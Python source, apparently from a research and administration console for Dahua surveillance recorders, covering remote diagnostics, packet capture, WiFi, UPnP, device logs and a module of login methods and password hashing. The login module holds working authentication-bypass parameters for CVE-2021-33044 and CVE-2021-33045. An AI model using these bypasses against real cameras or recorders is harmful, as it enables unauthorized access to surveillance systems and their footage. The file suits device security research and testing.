# Debug of remote device # def interim_remote_diagnose(self, msg): cmd = msg.split() usage = { "nfs": { "status": "(Check if NFS mounted)", "mount": "[ /]", "umount": "(Umount NFS)", }, "usb": { "get": "(Not done yet)", "set": "(Not done yet)", }, "pcap": { "start": "(Start capture)", "stop": "(Stop capture)", "filter": " | ", }, "coredump": { "start": "(Start coredump support)", "stop": "(Stop coredump support)", }, "logs": { "start": "(Start redirect logs to NFS)", "stop": "(Stop redirect logs to NFS)", } } if len(cmd) < 2 or len(cmd) == 3 and cmd[1] == '-h': log.info('{}'.format(help_all(msg=msg, usage=usage))) return True if not self.check_for_service('InterimRemoteDiagnose'): return False if cmd[1] == 'nfs': if not len(cmd) >= 3: log.info('{}'.format(help_all(msg=msg, usage=usage))) return True if cmd[2] == 'status': query_args = { "method": "InterimRemoteDiagnose.getConfig", "params": { "name": "InterimRDNfs", }, } dh_data = self.send_call(query_args) if dh_data: dh_data = dh_data.get('params').get('DebugConfig') log.info( "NFS Directory: {}, Serverip: {}, Enable: {}".format( dh_data.get('Directory'), dh_data.get('Serverip'), dh_data.get('Enable')) ) # {"result":true,"params":{"conn":true},"session":2103981993,"id":4} # {"result":true,"params":{"conn":false},"session":2103981993,"id":4} query_args = { "method": "InterimRemoteDiagnose.testNfsStatus", "params": { }, } dh_data = self.send_call(query_args) if dh_data: log.info("NFS connected: {}".format(dh_data.get('params').get('conn'))) return dh_data.get('params').get('conn') log.failure('NFS status') return False elif cmd[2] == 'mount' or cmd[2] == 'umount': if len(cmd) >= 4: if not check_ip(cmd[3]): log.failure('"{}" is not valid host'.format(cmd[3])) return False if len(cmd) == 5 and not cmd[4][0] == '/': log.failure('path must start with "/"'.format(cmd[4])) return False query_args = { "method": "InterimRemoteDiagnose.getConfig", "params": { "name": "InterimRDNfs", }, } dh_data = self.send_call(query_args) if not dh_data: return False debug_config = dh_data.get('params').get('DebugConfig') debug_config['Enable'] = True if cmd[2] == 'mount' else False debug_config.update({"Serverip": cmd[3] if len(cmd) >= 4 else debug_config.get('Serverip')}) debug_config.update({"Directory": cmd[4] if len(cmd) == 5 else debug_config.get('Directory')}) query_args = { "method": "InterimRemoteDiagnose.setConfig", "params": { "name": "InterimRDNfs", "DebugConfig": { # Default config # "Directory":"/c/public_dev", # "Enable":False, # "Serverip":"10.33.12.137" }, }, } query_args.get('params').get('DebugConfig').update(debug_config) dh_data = self.send_call(query_args) if not dh_data: return False log.info("NFS {}: {}".format('mount' if cmd[2] == 'mount' else 'umount', dh_data.get('result'))) return True else: log.info('{}'.format(help_all(msg=msg, usage=usage))) return True elif cmd[1] == 'usb': if not len(cmd) == 3: log.info('{}'.format(help_all(msg=msg, usage=usage))) return True if cmd[2] == 'get': # {"result":true,"params":{"UStoragePosition":['/dev/sdb1', '/dev/sdc1']},"session":1217107065,"id":4} # {"result":true,"params":{"UStoragePosition":null},"session":1413317462,"id":4} query_args = { "method": "InterimRemoteDiagnose.getUStoragePosition", "params": { }, } dh_data = self.send_call(query_args) if not dh_data: return False log.info( "USB Storage: {}".format( dh_data.get('params').get('UStoragePosition') if dh_data.get('params').get('UStoragePosition') else "Not found") ) return True elif cmd[2] == 'set': # error: {'code': 268959743, 'message': 'Unknown error! error code was not set in service!'} query_args = { "method": "InterimRemoteDiagnose.setUStoragePosition", "params": { "UStoragePosition": "/dev/sdb1", }, } dh_data = self.send_call(query_args) if not dh_data: return False log.info("USB Storage: {}".format(dh_data)) return True else: log.info('{}'.format(help_all(msg=msg, usage=usage))) return False elif cmd[1] == 'pcap': if not len(cmd) >= 3: log.info('{}'.format(help_all(msg=msg, usage=usage))) return True if cmd[2] == 'filter': if not len(cmd) >= 4: log.info('{}'.format(help_all(msg=msg, usage=usage))) return False if cmd[3] == 'get': query_args = { "method": "InterimRemoteDiagnose.getConfig", "params": { "name": "InterimRDNetFilter", }, } dh_data = self.send_call(query_args) if not dh_data: return False log.info("PCAP Filter: {}".format(dh_data.get('params').get('debug_config'))) return True elif cmd[3] == 'set': # # Might be more dh_data in the future, read and update only what we know # Leave possible other untouched # query_args = { "method": "InterimRemoteDiagnose.getConfig", "params": { "name": "InterimRDNetFilter", }, } dh_data = self.send_call(query_args) if not dh_data: return False pcap_iface = 'eth0' pcap_filter_ip = '' # Default # Name = 'eth0' # FilterIP = '10.33.12.137' # FilterPort = '37777' debug_config = dh_data.get('params').get('DebugConfig') debug_config.update({"FilterIP": pcap_filter_ip}) # debug_config.update({"FilterPort":FilterPort}) # Cannot be changed from 37777 debug_config.update({"Name": pcap_iface}) query_args = { "method": "InterimRemoteDiagnose.setConfig", "params": { "name": "InterimRDNetFilter", "DebugConfig": debug_config, }, } dh_data = self.send_call(query_args) if not dh_data: return False log.info("PCAP Filter: {}".format(debug_config)) return True elif cmd[2] == 'start': if not self.interim_remote_diagnose("diag nfs status"): log.failure("NFS must be mounted with: diag nfs mount") return False query_args = { "method": "InterimRemoteDiagnose.getConfig", "params": { "name": "InterimRDNetFilter", }, } dh_data = self.send_call(query_args) if not dh_data: return False log.info("PCAP Filter: {}".format(dh_data.get('params').get('debug_config'))) query_args = { # {"result":true,"params":null,"session":336559066,"id":4} "method": "InterimRemoteDiagnose.startRemoteCapture", "params": { }, } dh_data = self.send_call(query_args) if not dh_data: return False log.info("PCAP Start: {}".format(dh_data.get('result'))) return True elif cmd[2] == 'stop': query_args = { # {"result":true,"params":null,"session":468902923,"id":4} "method": "InterimRemoteDiagnose.stopRemoteCapture", "params": { }, } dh_data = self.send_call(query_args) if not dh_data: return False log.info("PCAP Stop: {}".format(dh_data.get('result'))) return True else: log.info('{}'.format(help_all(msg=msg, usage=usage))) return True elif cmd[1] == 'coredump': if not self.args.force: log.failure("({}) will reboot NVR (force with -f)".format(cmd[1])) return False if not len(cmd) >= 3: log.info('{}'.format(help_all(msg=msg, usage=usage))) return True if cmd[2] == 'start' or cmd[2] == 'stop': query_args = { "method": "InterimRemoteDiagnose.setConfig", "params": { "name": "InterimRDCoreDump", "DebugConfig": { "Enable": True if cmd[2] == 'start' else False, }, }, } dh_data = self.send_call(query_args) if not dh_data: return False log.info("CoreDump {}: {}".format("Start" if cmd[2] == 'start' else "Stop", dh_data.get('result'))) return True else: log.info('{}'.format(help_all(msg=msg, usage=usage))) return False elif cmd[1] == 'logs': if not len(cmd) == 3: log.info('{}'.format(help_all(msg=msg, usage=usage))) return True if not self.interim_remote_diagnose("diag nfs status"): log.failure("NFS must be mounted") return False if cmd[2] == 'start' or cmd[2] == 'stop': query_args = { "method": "InterimRemoteDiagnose.setConfig", "params": { "name": "InterimRDPrint", "DebugConfig": { "AlwaysEnable": False, "OnceEnable": True if cmd[2] == 'start' else False, "PrintLevel": 6 }, }, } dh_data = self.send_call(query_args) if not dh_data: return False log.info("Logs {}: {}".format("Start" if cmd[2] == 'start' else "Stop", dh_data.get('result'))) return True else: log.info('{}'.format(help_all(msg=msg, usage=usage))) return True else: log.failure('No such command: {}'.format(msg)) # log.info('{}'.format(help_all(msg=msg,usage=usage))) return True def net_app(self, msg, callback=False): # # Should need to have events subscribed # if callback: print(json.loads(msg, indent=4)) return True cmd = msg.split() dh_data = None nic = None net_resource_stat = None usage = { "info": "(Network Information)", "wifi": { "enable": "(enable adapter)", "disable": "(disable adapter)", "scan": "(scan for WiFi AP)", "conn": " ", "disc": "(disconnect from WiFi AP)", "reset": "(reset WiFi settings to default)", }, "upnp": { "status": "(show UPnP status)", "enable": "[all] (enable UPnP)", "disable": "[all] (disable UPnP)" } } if not len(cmd) >= 2 or cmd[1] == '-h': log.info('{}'.format(help_all(msg=msg, usage=usage))) return True method_name = 'netApp' if not self.instance_service(method_name, pull='object'): self.instance_service(method_name, start=True) object_id = self.instance_service(method_name, pull='object') if not object_id: return False query_args = { "method": "netApp.getNetInterfaces", "params": { }, "object": object_id, } net_interface = self.send_call(query_args) if cmd[1] == 'wifi': if not len(cmd) >= 3 or cmd[1] == '-h': log.info('{}'.format(help_all(msg=msg, usage=usage))) self.instance_service(method_name, stop=True) return True wireless_nic = False for nic in net_interface.get('params').get('netInterface'): if nic.get('Type') == 'Wireless': wireless_nic = nic.get('Name') if not wireless_nic: log.failure("No WiFi adapter available") return False auth_encryption = { "00": "Off", "01": "WEP-OPEN", "11": "WEP-SHARED", "32": "WPA-PSK-TKIP", "33": "WPA-PSK-TKIP+AES", "34": "WPA-PSK-TKIP+AES", "42": "WPA2-TKIP", "52": "WPA2-PSK-TKIP", "53": "WPA2-PSK-AES", "54": "WPA2-PSK-TKIP+AES", "72": "WPA/WPA2-PSK-TKIP", "73": "WPA/WPA2-PSK-AES", "74": "WPA/WPA2-PSK-TKIP+AES", } link_mode = { "0": "Auto", "1": "Ad-hoc", "2": "Infrastructure", } if len(cmd) == 3 and cmd[2] == 'scan': query_args = { "method": "netApp.scanWLanDevices", "params": { "Name": wireless_nic, "SSID": "", }, "object": object_id, } dh_data = self.send_call(query_args) if not dh_data.get('params').get('wlanDevice'): log.failure("No WiFi available") return False wlan_device = dh_data.get('params').get('wlanDevice') for wifi_ap in wlan_device: log.success( "BSSID: {} RSSI: {} Strength: {} Quality: {} Connected: {} SSID: {}\n" "MaxBitRate: {} Mbit NetWorkType: {} Connect Mode: {} Authorize Mode: {}".format( color(wifi_ap.get('BSSID'), GREEN), color(wifi_ap.get('RSSIQuality'), GREEN), color(wifi_ap.get('Strength'), GREEN), color(wifi_ap.get('LinkQuality'), GREEN), color(bool(wifi_ap.get('ApConnected')), GREEN if wifi_ap.get('ApConnected') else RED), color(wifi_ap.get('SSID'), GREEN), color(str(int(wifi_ap.get('ApMaxBitRate')) / 1000000).split('.')[0], GREEN), color(wifi_ap.get('ApNetWorkType'), GREEN), color(link_mode.get(str(wifi_ap.get('link_mode'))), GREEN), color(auth_encryption.get( str(wifi_ap.get('AuthMode')) + str(wifi_ap.get('EncrAlgr')), "UNKNOWN"), GREEN) )) elif len(cmd) == 5 and cmd[2] == 'conn' or len(cmd) == 3 and cmd[2] in [ 'enable', 'disable', 'conn', 'disc', 'reset']: if cmd[2] == 'conn' and len(cmd) == 5: query_args = { "method": "netApp.scanWLanDevices", "params": { "Name": wireless_nic, "SSID": cmd[3], }, "object": object_id, } self.send_call(query_args, multicall=True) query_args = { "method": "configManager.getDefault" if cmd[2] == 'reset' else "configManager.getConfig", "params": { "name": "WLan", }, } dh_data = self.send_call(query_args, multicall=True, multicallsend=True) if not dh_data: log.failure("(WLan) {}".format(dh_data)) return False wlan = dh_data.get('WLan').get('params').get('table').get(wireless_nic) if len(cmd) == 3 and cmd[2] == 'conn' or len(cmd) == 3 and cmd[2] == 'disc': if wlan.get('SSID'): if nic.get('ConnStatus') == 'Connected' and cmd[2] == 'conn': log.failure("Already Connected") return False elif nic.get('ConnStatus') == 'Disconn' and cmd[2] == 'disc': log.failure("Already Disconnected") return False elif not wlan.get('Enable'): log.failure("WiFi disabled") return False wlan['ConnectEnable'] = True if cmd[2] == 'conn' else False else: log.failure("Wireless not configured") return False elif len(cmd) == 3 and cmd[2] == 'enable' or len(cmd) == 3 and cmd[2] == 'disable': if wlan.get('Enable') and cmd[2] == 'enable': log.failure("Already Enabled") return False elif not wlan.get('Enable') and cmd[2] == 'disable': log.failure("Already Disabled") return False wlan['Enable'] = True if cmd[2] == 'enable' else False if cmd[2] == 'conn' and len(cmd) == 5: if not dh_data.get('netApp.scanWLanDevices').get('result'): log.failure('Wrong SSID and/or AP not accessible') return False wifi_ap = dh_data.get('netApp.scanWLanDevices').get('params').get('wlanDevice')[0] wlan['Encryption'] = auth_encryption.get( str(wifi_ap.get('AuthMode')) + str(wifi_ap.get('EncrAlgr'))) if cmd[2] == 'conn' else 'Off' wlan['link_mode'] = link_mode.get(str(wifi_ap.get('link_mode'))) wlan['ConnectEnable'] = True if cmd[2] == 'conn' else False wlan['KeyFlag'] = True if cmd[2] == 'conn' else False wlan['SSID'] = wifi_ap.get('SSID') if cmd[2] == 'conn' else '' wlan['Keys'][0] = cmd[4] if cmd[2] == 'conn' else 'abcd' query_args = { "method": "configManager.setConfig", "params": { "name": "WLan", "table": dh_data.get('WLan').get('params').get('table'), }, } dh_data = self.send_call(query_args) if not dh_data or not dh_data.get('result'): log.failure('TimeOut for "{}" (wrong pwd?)'.format(wlan.get('SSID'))) log.failure("dh_data: {}".format(dh_data)) return False if cmd[2] == 'conn' and wlan.get('Enable')\ or cmd[2] == 'enable' and wlan.get('SSID') and wlan.get('ConnectEnable'): conn = log.progress("Status") while True: query_args = { "method": "netApp.getNetInterfaces", "params": { }, "object": object_id, } dh_data = self.send_call(query_args) for nic in dh_data.get('params').get('net_interface'): if not nic.get('Type') == 'Wireless': continue conn.status(nic.get('ConnStatus')) if nic.get('ConnStatus') == 'Connected': conn.success('Connected') return True time.sleep(1) else: self.instance_service(method_name, stop=True) log.success("Success") # ConfigManager.getConfig("AccessPoint") # ConfigManager.getConfig("WLan") else: log.info('{}'.format(help_all(msg=msg, usage=usage))) return True elif cmd[1] == 'info': for nic in net_interface.get('params').get('netInterface'): net_appmethod = { "netApp.getNetDataStat", "netApp.getNetResourceStat", "netApp.getCaps", } for method in net_appmethod: query_args = { "method": method, "params": { "Name": nic.get('Name'), }, "object": object_id, } self.send_call(query_args, multicall=True) query_args = { "method": "configManager.getConfig", "params": { "name": "Network", }, } dh_data = self.send_call(query_args, multicall=True, multicallsend=True) # print(json.dumps(dh_data,indent=4)) net_data_stat = dh_data.get('netApp.getNetDataStat').get('params') net_resource_stat = dh_data.get('netApp.getNetResourceStat').get('params') nic_iface = dh_data.get('Network').get('params').get('table').get(nic.get('Name')) link_info = "Link support long PoE: {}, connection: {}, speed: {}".format( nic.get('SupportLongPoE'), nic.get('Type') if nic.get('Type') == 'Wireless' else 'Wired', nic.get('Speed'), ) log.success( "\033[92m[\033[91m{}\033[92m]\033[0m {}{}\ndhcp: {} dns: [{}] mtu: {}\n" "inet {} netmask {} gateway {}\nether {} txqueuelen {}\n" "RX packets {} bytes {} ({}) util {} Kbps\n" "RX errors {} dropped {} overruns {} frame {}\n" "TX packets {} bytes {} ({}) util {} Kbps\n" "TX errors {} dropped {} carrier {} collisions {}\n{}".format( nic.get('Name'), color(nic.get('ConnStatus'), GREEN if nic.get('ConnStatus') == 'Connected' else RED), color( " (SSID: {})".format(nic.get('ApSSID')) if nic.get('ConnStatus') == 'Connected' and nic.get('Type') == 'Wireless' else '', LBLUE), nic_iface.get('DhcpEnable'), ', '.join(str(x) for x in nic_iface.get('DnsServers')), nic_iface.get('MTU'), nic_iface.get('IPAddress'), nic_iface.get('SubnetMask'), nic_iface.get('DefaultGateway'), nic_iface.get('PhysicalAddress'), net_data_stat.get('Transmit').get('txqueuelen'), net_data_stat.get('Receive').get('packets'), net_data_stat.get('Receive').get('bytes'), size(net_data_stat.get('Receive').get('bytes')), net_data_stat.get('Receive').get('speed'), net_data_stat.get('Receive').get('errors'), net_data_stat.get('Receive').get('droped'), net_data_stat.get('Receive').get('overruns'), net_data_stat.get('Receive').get('frame'), net_data_stat.get('Transmit').get('packets'), net_data_stat.get('Transmit').get('bytes'), size(net_data_stat.get('Transmit').get('bytes')), net_data_stat.get('Transmit').get('speed'), net_data_stat.get('Transmit').get('errros'), # consistent.. d0h! net_data_stat.get('Transmit').get('droped'), net_data_stat.get('Transmit').get('collisions'), net_data_stat.get('Transmit').get('txqueuelen'), link_info, )) net_resource_info = \ "IP Channel In: {}, Net Capability: {}, Net Remain: {}\n" \ "Remote Preview: {}, Send Capability: {}, Send Remain {}".format( net_resource_stat.get('IPChanneIn'), net_resource_stat.get('NetCapability'), net_resource_stat.get('NetRemain'), net_resource_stat.get('RemotePreview'), net_resource_stat.get('RemoteSendCapability'), net_resource_stat.get('RemoteSendRemain'), ) log.success("\033[92m[\033[91mInfo\033[92m]\033[0m default nic: {}, hostname: {}, domain: {}\n{}".format( dh_data.get('Network').get('params').get('table').get('DefaultInterface'), dh_data.get('Network').get('params').get('table').get('Hostname'), dh_data.get('Network').get('params').get('table').get('Domain'), net_resource_info, )) self.instance_service(method_name, stop=True) elif cmd[1] == 'upnp': if not len(cmd) == 3: log.info('{}'.format(help_all(msg=msg, usage=usage))) self.instance_service(method_name, stop=True) return False query_args = { "method": "netApp.getUPnPStatus", "params": None, "object": object_id, } self.send_call(query_args, multicall=True) query_args = { "method": "configManager.getConfig", "params": { "name": "UPnP", }, } dh_data = self.send_call(query_args, multicall=True, multicallsend=True) if not dh_data.get('netApp.getUPnPStatus').get('result') or not dh_data.get('UPnP').get('result'): log.failure('UPnP service not supported') return False if len(cmd) == 3 and cmd[2] == 'status': upnp_status = dh_data.get('netApp.getUPnPStatus').get('params') upnp_table = dh_data.get('UPnP').get('params').get('table') upnp_map = '' for MapTable in range(0, len(upnp_table.get('MapTable'))): upnp_map += "Enable: {} Internal Port: {:<6} External Port: {:<6} " \ "Protocol: {}:{} ServiceName: {:<4} Status: {}\n".format( upnp_table.get('MapTable')[MapTable].get('Enable'), upnp_table.get('MapTable')[MapTable].get('InnerPort'), upnp_table.get('MapTable')[MapTable].get('OuterPort'), upnp_table.get('MapTable')[MapTable].get('Protocol'), upnp_table.get('MapTable')[MapTable].get('ServiceType'), upnp_table.get('MapTable')[MapTable].get('ServiceName'), color( upnp_status.get('PortMapStatus')[MapTable], GREEN if upnp_status.get('PortMapStatus')[MapTable] == 'Failed' else RED )) log.success( "\033[92m[\033[91mUPnP\033[92m]\033[0m\n" "Enable: {}, Mode: {}, Device Discover: {}\n" "Status: {}, Working: {}, Internal IP: {}, external IP: {}\n" "\033[92m[\033[91mMaps\033[92m]\033[0m\n{}".format( color(upnp_table.get('Enable'), RED if upnp_table.get('Enable') else GREEN), upnp_table.get('Mode'), upnp_table.get('StartDeviceDiscover'), color(upnp_status.get('Status'), RED if upnp_status.get('Working') else GREEN), color(upnp_status.get('Working'), RED if upnp_status.get('Working') else GREEN), upnp_status.get('InnerAddress'), upnp_status.get('OuterAddress'), upnp_map, )) elif len(cmd) >= 3 and cmd[2] == 'disable' or cmd[2] == 'enable': query_args = { "method": "configManager.getConfig", "params": { "name": "UPnP", }, } dh_data = self.send_call(query_args) upnp_config = dh_data.get('params').get('table') if not upnp_config.get('Enable') and cmd[2] == 'disable'\ or upnp_config.get('Enable') and cmd[2] == 'enable': log.failure("UPnP already {}".format('disabled' if cmd[2] == 'disable' else 'enabled')) return False upnp_config['Enable'] = False if cmd[2] == 'disable' else True if len(cmd) == 4 and cmd[3] == 'all': for dh_map in range(0, len(upnp_config.get('MapTable'))): upnp_config['MapTable'][dh_map]['Enable'] = False if cmd[2] == 'disable' else True query_args = { "method": "configManager.setConfig", "params": { "name": "UPnP", "table": upnp_config, }, } dh_data = self.send_call(query_args) if dh_data.get('result'): log.success("UPnP {}".format('disabled' if cmd[2] == 'disable' else 'enabled')) else: log.failure("UPnP NOT {}".format('disabled' if cmd[2] == 'disable' else 'enabled')) else: log.failure("{} {} {}".format(cmd[0], cmd[1], usage.get(cmd[1], '(No help defined)'))) return False else: log.info('{}'.format(help_all(msg=msg, usage=usage))) self.instance_service(method_name, stop=True) return def dlog(self, msg): cmd = msg.split() method_name = 'log' self.instance_service(method_name, start=True) object_id = self.instance_service(method_name, pull='object') if not object_id: return False dlog_count = 20 if len(cmd) == 2: try: dlog_count = int(cmd[1]) except ValueError: log.failure('({}) not valid number'.format(cmd[1])) return False query_args = { "method": "global.getCurrentTime", "params": None, } dh_data = self.send_call(query_args) if not dh_data.get('result'): log.failure('{} Failed'.format(query_args.get('method'))) return False query_args = { "method": "log.startFind", "params": { "condition": { "StartTime": "1970-01-01 00:00:00", # Lets start from the beginning ,) "EndTime": dh_data.get('params').get('time'), "Translate": True, "Order": "Descent", # ok "Types": "", }, }, "object": object_id, } dh_data = self.send_call(query_args) if not dh_data.get('result'): log.failure('{} Failed'.format(query_args.get('method'))) return False dlog_token = dh_data.get('params').get('token') query_args = { "method": "log.getCount", "params": { "token": dlog_token, }, "object": object_id, } dh_data = self.send_call(query_args) if not dh_data or not dh_data.get('result'): log.failure('{} Failed'.format(query_args.get('method'))) return False query_args = { "method": "log.doSeekFind", "params": { "token": dlog_token, "offset": 0, "count": dlog_count, }, "object": object_id, } dh_data = self.send_call(query_args) if not dh_data.get('result'): log.failure('{} Failed'.format(query_args.get('method'))) return False dlogs = dh_data.get('params').get('items') found = dh_data.get('params').get('found') log.info('Found: {}'.format(found)) for dlog in dlogs: print('{}Detail: {}\nUser: {}, Device: {}, Type: {}, Level: {}'.format( help_msg(dlog.get('Time')), dlog.get('Detail'), dlog.get('User'), dlog.get('Device'), dlog.get('Type'), dlog.get('Level'), )) query_args = { "method": "log.stopFind", "params": { "token": dlog_token, }, "object": object_id, } dh_data = self.send_call(query_args) if not dh_data.get('result'): log.failure('{} Failed'.format(query_args.get('method'))) self.instance_service(method_name, stop=True) return def dh_test(self, msg): return def user_manager(self, msg): """User management: only list users and show capabilities""" cmd = msg.split() usage = { "list": "(list all users)", "caps": "(get user management capabilities)", } if len(cmd) == 1 or cmd[1] == '-h': log.info('{}'.format(help_all(msg=msg, usage=usage))) return True if cmd[1] == "list": query_args = { "method": "userManager.getUserInfoAll", "params": {} } elif cmd[1] == "caps": query_args = { "method": "userManager.getCaps", "params": {} } else: log.info('{}'.format(help_all(msg=msg, usage=usage))) return False dh_data = self.send_call(query_args, errorcodes=True) if not dh_data: log.failure("Failed to execute user management command") return False if dh_data.get('result'): print(json.dumps(dh_data, indent=4)) return True else: log.failure(f"Command '{cmd[1]}' failed: {dh_data.get('error', 'Unknown error')}") return False ================================================ FILE: dahua_logon_modes.py ================================================ from utils import * from datetime import datetime """ For Dahua DES/3DES """ ENCRYPT = 0x00 DECRYPT = 0x01 def dahua_logon(logon=None, query_args=None, username=None, password=None, saved_host=None, init=False): """ Dahua logon types args: logon: '3des', args: username -or- password, des_mode=ENCRYPT (default) | DECRYPT args: logon: 'dvrip', args: username, password, dh_random (option: saved_host) required: init=True, username (return required arguments for first logon with DHIP/HTTP) args: logon: """ """ DVRIP/DES start """ if logon == '3des': params = { "username": dahua_gen0_hash(username, ENCRYPT), "password": dahua_gen0_hash(password, ENCRYPT) } return params elif logon == 'dvrip': dh_realm = query_args.get('realm') dh_random = query_args.get('random') dvrip_hash = username + '&&' dvrip_hash += dahua_gen2_md5_hash( dh_random=dh_random, dh_realm=dh_realm, username=username, password=password, saved_host=saved_host) # OldDigestMD5 ?? dvrip_hash += dahua_dvrip_md5_hash( dh_random, username, password, saved_host) params = { "hash": dvrip_hash } return params """ DVRIP/DES end """ """ DHIP/http/https: First login start """ params = { "userName": username, "password": "", "clientType": "Web3.0", "loginType": "Direct", } if logon == 'wsse': params.update({"clientType": "WSSE"}) elif logon == 'onvif:plain' or logon == 'onvif:digest' or logon == 'onvif:onvif': params.update({"clientType": "Onvif"}) params.update({"loginType": "Onvif"}) if init: """ Retrieve necessary options for Second login """ return params """ DHIP/http/https: First login end """ """ DHIP/http/https: Second login start """ password_type = { "Plain": "Plain", "Basic": "Basic", "OldDigest": "OldDigest", "Default": "Default", "Onvif": "Onvif", "2DCode": "2DCode" # params.code } authority_type = { "Plain": "Plain", "Basic": "Basic", "OldDigest": "OldDigest", "Default": "Default", "Onvif": "Onvif", "2DCode": "2DCode", # params.code "Ushield": "Ushield" } query_args = query_args.get('params') dh_random = query_args.get('random') dh_realm = query_args.get('realm') encryption = query_args.get('encryption') """ authorization: Not known usage, unique for each device but not random """ # authorization = query_args.get('authorization') # mac_address = query_args.get('mac') """ DHIP/http/https: Second login, set default params """ params = { # "random": dh_random, # With 'clientType' = 'Local' # "realm": dh_realm, # With 'clientType' = 'Local' "userName": username, "ipAddr": "127.0.0.1", "loginType": "Direct", "clientType": "Console", "authorityType": authority_type.get(encryption), # Default, OldDigest "passwordType": password_type.get(encryption), # Default, Plain } """ No idea what it is used for """ # params.update({"stochasticId": 31337}) """ DHIP/http/https: Second login, update default params with correct details """ if logon == 'plain' or encryption == 'Plain': params.update({ "passwordType": "Plain", "password": password }) elif logon == 'basic' or encryption == 'Basic': params.update({ # "passwordType": "Basic", "password": b64e(username.encode('latin-1') + b':' + password.encode('latin-1')) }) elif logon == 'old_digest' or encryption == 'OldDigest': params.update({ "passwordType": "OldDigest", "password": dahua_gen1_hash(password) }) elif logon == 'default' or encryption == 'Default': dh_hash = dahua_gen2_md5_hash( username=username, password=password, dh_realm=dh_realm, dh_random=dh_random, saved_host=saved_host) params.update({ "passwordType": "Default", "password": dh_hash }) """ If we have chosen one of these logon, return """ if logon in ['plain', 'basic', 'old_digest', 'old_digest_md5', 'default']: return params """ Otherwise check and update for other logon types """ # Authentication bypass start if logon == "netkeyboard": """ 'CVE-2021-33044, Authentication bypass, when setting param: 'clientType": "NetKeyboard' """ params.update({ "clientType": "NetKeyboard" }) return params elif logon == "loopback": """ loginType=5, @127.0.0.1 """ """ 'CVE-2021-33045, Authentication bypass, when setting params: 'ipAddr':'127.0.0.1', 'loginType': 'Loopback' and 'clientType': 'Local' Note: Bypass fixed with newer firmware from beginning/mid 2020 Legit usage: SNMP daemon traffic on 127.0.0.1 using port 5000 with l/p admin/admin """ dh_hash = dahua_gen2_md5_hash( username=username, password=password, dh_realm=dh_realm, dh_random=dh_random, saved_host=saved_host) params.update({ "loginType": "Loopback", "clientType": "Local", "passwordType": "Default", # Plain working too "password": dh_hash # Clear text password working too with 'passwordType': 'Plain' }) return params # Authentication bypass end elif logon == "gui": """ TEST """ # username = 'default' # password = 'tluafed' dh_hash = dahua_gen2_md5_hash( username=username, password=password, dh_realm=dh_realm, dh_random=dh_random, saved_host=saved_host) params.update({ "loginType": "GUI", "clientType": "Dahua3.0-Web3.0-NOTIE", "passwordType": "Direct", "ipAddr": "127.0.0.1", "password": dh_hash }) return params elif logon == 'onvif:plain': params.update({ "loginType": "Onvif", "clientType": "Onvif", "authorityType": "Onvif", "passwordType": "Plain", "password": password, }) return params elif logon == 'onvif:onvif': params.update({ "loginType": "Onvif", "clientType": "Onvif", "authorityType": "Onvif", "passwordType": "Onvif", }) dh_params = dahua_onvif_sha1_hash(dh_random=dh_random, password=password, saved_host=saved_host) params.update(dh_params) return params elif logon == 'onvif:digest': """ Always use UTC for 'created' """ created = datetime.utcnow().isoformat(timespec='seconds') + 'Z' """ Newer firmware has another REALM, can be retrieved from HTTP OPTIONS/RTSP call, see dahua_dhip_login() """ dh_hash = dahua_digest_md5_hash( username=username, password=password, dh_realm=dh_realm, dh_random=dh_random, saved_host=saved_host, created=created) params.update({ "loginType": "Onvif", "clientType": "Onvif", "authorityType": "Onvif", "passwordType": "HttpDigest", "authorityInfo": created, "password": dh_hash }) return params elif logon == 'rtsp': """ Always use UTC for created """ created = datetime.utcnow().isoformat(timespec='seconds') + 'Z' dh_hash = dahua_digest_md5_hash( username=username, password=password, dh_realm=dh_realm, dh_random=dh_random, saved_host=saved_host, created=created) params.update({ "clientType": "RtspClient", "authorityType": "HttpDigest", # Not needed in new FW, but the passwordType is there w/ "authorityType": "OldDigest" "passwordType": "HttpDigest", "password": dh_hash, "authorityInfo": created }) return params elif logon == 'wsse': """ Cloud Upgrade WSSE logon Note: Can _only_ be used once per boot Correct time and time zone on device very important so it will match 'created' """ """ Always use UTC for created """ created = datetime.utcnow().isoformat(timespec='seconds') + 'Z' dh_hash = dahua_gen2_md5_hash( username=username, password=password, dh_realm=dh_realm, dh_random=dh_random, saved_host=saved_host, return_hash=True) hash_digest = hashlib.sha1() hash_digest.update(created.encode('ascii')) hash_digest.update(dh_hash.encode('ascii')) params.update({ "clientType": "WSSE", "authorityType": "OTP", "passwordType": "WSSE", "password": b64e(hash_digest.digest()), "authorityInfo": created }) return params elif logon == 'ldap': """ loginType=3, Unknown login procedure """ params.update({ "loginType": "LDAP" }) return params elif logon == 'ad': """ loginType=4, Unknown login procedure """ params.update({ "loginType": "ActiveDirectory" }) return params elif logon == 'cms': """ loginType=1, Unknown login procedure """ params.update({ "loginType": "CMS", }) return params elif logon == 'ushield': """ Unknown login procedure """ params.update({ "authorityType": "Ushield", "authorityInfo": "XXXXXXX" # "passwordType": "Ushield", # "clientType": "Ushield", # "loginType": "Ushield", }) return params elif logon == 'local': """ Unknown login procedure """ params.update({ "clientType": "Local", "loginType": "Local", # "authorityType": "Local", # "passwordType": "Local" }) return params elif logon == 'maybe_iot_or_azure': """ Unknown login procedure """ params.update({ "deviceId": "Unknown", # Required for 'dasToken' "dasToken": "Unknown" # depending of 'deviceId' }) return params else: log.failure('Unknown logon method') return None def _compressor(in_var, out): """ From: https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py """ i = 0 j = 0 while i < len(in_var): # python 2.x (thanks to @davidak501) # out[j] = (ord(in_var[i]) + ord(in_var[i+1])) % 62; # python 3.x out[j] = (in_var[i] + in_var[i + 1]) % 62 if out[j] < 10: out[j] += 48 elif out[j] < 36: out[j] += 55 else: out[j] += 61 i = i + 2 j = j + 1 def dahua_gen1_hash(password): """ From: https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py """ m = hashlib.md5() m.update(password.encode("latin-1")) s = m.digest() crypt = [] for b in s: crypt.append(b) out2 = [''] * 8 _compressor(crypt, out2) dh_data = ''.join([chr(c) for c in out2]) return dh_data def basic_auth(username, password): return b64e(username.encode('latin-1') + b':' + password.encode('latin-1')) def dahua_dvrip_md5_hash(dh_random=None, username=None, password=None, saved_host=None): """ Dahua (gen1) DVRIP random MD5 password hash """ return hashlib.md5( (username + ':' + dh_random + ':' + saved_host.get('password').get('gen1') if password is None else dahua_gen1_hash(password)).encode('latin-1') ).hexdigest().upper() def dahua_gen2_md5_hash( dh_random=None, dh_realm=None, username=None, password=None, saved_host=None, return_hash=False): """ Dahua (gen2) DHIP/WEB random MD5 password hash """ 